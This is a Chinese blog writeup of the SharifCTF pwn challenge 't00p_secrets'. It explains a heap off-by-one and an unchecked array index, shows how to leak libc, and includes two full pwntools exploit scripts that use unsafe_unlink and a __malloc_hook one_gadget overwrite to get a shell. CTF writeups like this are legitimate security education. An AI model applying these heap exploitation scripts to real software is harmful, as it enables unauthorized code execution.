sharif ctf pwn t00p_secrets writeup

原创

charlie_heng 于 2018-02-09 11:25:12 发布 356 收藏 1

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/79296696

这题在比赛的时候没做出来，现在回顾一下，发现其实漏洞挺多的，而且还挺好用的.....（打比赛的时候真的是当局者迷，旁观者清....

漏洞：

主要的漏洞有两个，两个漏洞都可以分别达到任意内存写，任意内存读的效果

1. 堆off-by-one

当选择字符串的类型的时候，会将读取的字符串后的那个字节置为0，当读取的字符完全占满malloc申请的内存之后，会将下一个堆的size的一个字节置为0

然后我们可以申请两个大小为0xf8的堆，这个时候两个堆的size都是0x100
然后edit第一个堆，或者delete后再申请，可以将第二个堆的size从0x101变为0x100
这个时候就可以伪造一个堆，然后利用unsafe_unlink将bss段那里指向当前堆的那个地址修改为自身地址-0x24，这个时候就可以为所欲为，任意读和任意写都可以实现

2. edit_secret下标没检查范围

这里其实在打比赛的时候已经注意到了，但是当时怎么也没想到怎么用，然后看了下别人的wp，发现有个地方是会赋值的....虽然每次都只赋2byte

```
printf("binary(0) or String(1): ", &v2);
_isoc99_scanf("%hu%*c", &v1);
printf("Please enter secret content: ", &v1);
sub_400AD5(*(&ptr + v2 + 10LL), *(&n + v2), v1);
word_602050[v2] = v1;
result = ...
```


这里只要把ptr存的堆地址改成bss地址的话，就跟上面没什么差别了

如何得到libc

讲了漏洞，接下来讲一下如何得到libc，也是有好几种办法

利用堆free 崩溃信息来得到libc版本
在上面off-by-one 那里，new两个比较小的堆，然后利用off-by-one将第二个堆的size修改为0 , 在free的话，这个时候会崩溃，在memory信息那里会显示具体的版本号是什么

利用上面两个漏洞的任意读，结合dynelf来得到基址和两个库函数地址，到https://libc.blukat.me上面搜一下就可以了

如何利用漏洞

得到libc之后
因为这题开了Full RELRO，所以不能用常规的修改got表之类的办法

所以可以用__malloc__hook或者__free__hook 这些地方，写入one_gadget 来一发get shell

payload：
off-by-one:

```
from pwn import *

key='wjigaep;r[jg]ahrg[es9hrg'

debug=0
if debug:
    p=process('./t00p_secrets')
    context.log_level='debug'
    e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
    one_g=0x3f32a
    #gdb.attach(proc.pidof(p)[0])
else:
    p=remote('ctf.sharif.edu',22107)
    e=ELF('./libc6.so')
    one_g=0x4526a
    context.log_level='debug'

def ru(x):
    p.recvuntil(x)

def se(x):
    p.sendline(x)

def create_secret(idx,size,ty,body):
    se('1')
    ru('Enter secret idx: ')
    se(str(idx))
    ru('Enter secret body size')
    se(str(size))
    ru('binary(0) or String(1):')
    se(str(ty))
    ru('Please enter secret body ')
    p.send(body)
    ru('Exit')

def delete_secret(idx):
    se('2')
    ru('Please enter secret id to delete: ')
    se(str(idx))
    ru('Exit')
```

```python
def edit_secret(idx,ty,body):
    se('3')
    ru('Please enter secret id to edit:')
    se(str(idx))
    ru('binary(0) or String(1):')
    se(str(ty))
    ru('Please enter secret content: ')
    se(body)
    ru('Exit')

def print_secret():
    se('4')
    ru('Exit')

def print_a_secret(idx):
    se('5')
    ru('Please enter secret id to print:')
    se(str(idx))
    p.recvuntil('content: ')
    data=p.recvuntil('1. ')[:-3]
    return data



ru('Enter your master key:')
se(key)
create_secret(1,0xf8,1,'a'*0x18)
create_secret(2,0xf8,0,'a'*0x17)
delete_secret(1)
fake_heap=p64(0xdeadbeef)+p64(0xf1)+p64(0x6020c8-0x8*4)+p64(0x6020c8-0x8*3)
fake_heap= fake_heap.ljust(0xf0,'a')
fake_heap+= p64(0xf0)

create_secret(1,0xf8,1,fake_heap)
create_secret(3,0xf8,0,'a'*0x20)
delete_secret(2)  #unsafe_unlink

payload='a'*16+p64(0)+p64(0x6020c0)+p64(0)+p64(0x601F78)
edit_secret(1,0,payload)

data=print_a_secret(3)
free=u64(data[:8])
base=free-e.symbols['__libc_free']



print('base:',hex(base))
print('free',hex(free))

malloc_hook=base+e.symbols['__malloc_hook']

pay=p64(0x6020c0)+p64(0)+p64(malloc_hook)

edit_secret(1,0,pay)

one_gadget=one_g+base

edit_secret(3,0,p64(one_gadget))

p.sendline('1')
```

```
    sleep(0.1)
    p.sendline('0')
    sleep(0.1)
    p.sendline('40')

    print(hex(malloc_hook))

    p.interactive()
```

下标溢出:

```
    from pwn import *

    key='wjigaep;r[jg]ahrg[es9hrg'

    debug=1
    if debug:
        p=process('./t00p_secrets')
        context.log_level='debug'
        e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
        one_g=0x3f32a
        gdb.attach(proc.pidof(p)[0])
    else:
        p=remote('ctf.sharif.edu',22107)
        e=ELF('./libc6.so')
        one_g=0x4526a
        context.log_level='debug'

    def ru(x):
        p.recvuntil(x)

    def se(x):
        p.sendline(x)

    def create_secret(idx,size,ty,body):
        se('1')
        ru('Enter secret idx: ')
        se(str(idx))
        ru('Enter secret body size')
        se(str(size))
        ru('binary(0) or String(1):')
        se(str(ty))
        ru('Please enter secret body ')
        p.send(body)
        ru('Exit')

    def delete_secret(idx):
        se('2')
        ru('Please enter secret id to delete: ')
        se(str(idx))
        ru('Exit')

    def edit_secret(idx,ty,body):
        se('3')
        ru('Please enter secret id to edit:')
        se(str(idx))
        ru('binary(0) or String(1):')
        se(str(ty))
        ru('Please enter secret content: ')
```

```
    p.send(body)
    ru('Exit')

def print_secret():
    se('4')
    ru('Exit')

def print_a_secret(idx):
    se('5')
    ru('Please enter secret id to print:')
    se(str(idx))
    p.recvuntil('content: ')
    data=p.recvuntil('1. ')[:-3]
    return data



ru('Enter your master key:')
se(key)
create_secret(0,0xf8,1,'a'*0x18)
create_secret(1,0xf8,1,'a'*0x18)
data=p32(0x6020b8)
for i in range(2):
    se('3')
    ru('Please enter secret id to edit:')
    se(str(28+0x18+i))
    ru('binary(0) or String(1):')
    p.sendline(str(int(data[i*2:i*2+2][::-1].encode('hex'),16)))
    ru('Exit')

edit_secret(0,0,p64(0x6020b8)+p64(0x601F78))
data=print_a_secret(1)

free=u64(data[:6]+'\x00\x00')
base=free-e.symbols['__libc_free']

malloc_hook=base+e.symbols['__malloc_hook']

one_gadget=one_g+base

edit_secret(0,0,p64(0x6020b8)+p64(malloc_hook))
edit_secret(1,0,p64(one_gadget))

se('1')
sleep(0.1)
se('3')
sleep(0.1)
se('100')

p.interactive()
```